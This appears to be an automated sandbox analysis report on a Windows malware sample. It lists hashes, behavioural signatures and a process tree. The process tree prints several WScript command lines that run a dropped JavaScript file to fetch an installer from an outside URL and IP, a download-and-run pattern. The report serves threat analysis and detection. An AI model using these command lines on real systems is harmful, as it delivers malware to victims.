Analysis
- max time kernel
83s - max time network
123s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system - submitted
12/06/2024, 16:14
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe
Resource
win7-20240508-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe
Resource
win10v2004-20240611-en
6 signatures
150 seconds
General
- Target a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe
- Size 184KB
- Sample240612-tpx5fa1ejd
- SHA256 4803d5f80930034251ab5d2cf16669ba03eeea2ae93ca9f5a317611bba2a8061
- MD5 a1499d88bbe639a77357190f667eaa1e
- SHA1 93425156705ad2266f05cddf9bafc6650d680b8b
- SHA512 72c13a70ef75addc58f66d8884937eaa75ab429020eb8b4b93b3823c5fdb3af79f5dcb7d4bd5a1293743d400b10196624336a421480ea735303ebbdd929fe2bd
- SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3X1:/7BSH8zUB+nGESaaRvoB7FJNndnK1
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 5 IoCs
flow pid Process 3 1128 WScript.exe 23 2888 WScript.exe 26 3948 WScript.exe 30 1984 WScript.exe 32 2908 WScript.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4216 wrote to memory of 1128 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 87 PID 4216 wrote to memory of 1128 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 87 PID 4216 wrote to memory of 1128 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 87 PID 4216 wrote to memory of 2888 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 94 PID 4216 wrote to memory of 2888 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 94 PID 4216 wrote to memory of 2888 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 94 PID 4216 wrote to memory of 3948 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 95 PID 4216 wrote to memory of 3948 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 95 PID 4216 wrote to memory of 3948 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 95 PID 4216 wrote to memory of 1984 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 97 PID 4216 wrote to memory of 1984 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 97 PID 4216 wrote to memory of 1984 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 97 PID 4216 wrote to memory of 2908 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 98 PID 4216 wrote to memory of 2908 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 98 PID 4216 wrote to memory of 2908 4216 a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe 98
Processes
-
C:\Users\Admin\AppData\Local\Temp\a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4216 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe2⤵
- Blocklisted process makes network request
PID:1128
-
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe2⤵
- Blocklisted process makes network request
PID:2888
-
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe2⤵
- Blocklisted process makes network request
PID:3948
-
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe2⤵
- Blocklisted process makes network request
PID:1984
-
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe2⤵
- Blocklisted process makes network request
PID:2908
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\fuf8405.js
- Size 3KB
- SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
- MD5 3813cab188d1de6f92f8b82c2059991b
- SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
- SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
- MD5 SHA1 SHA512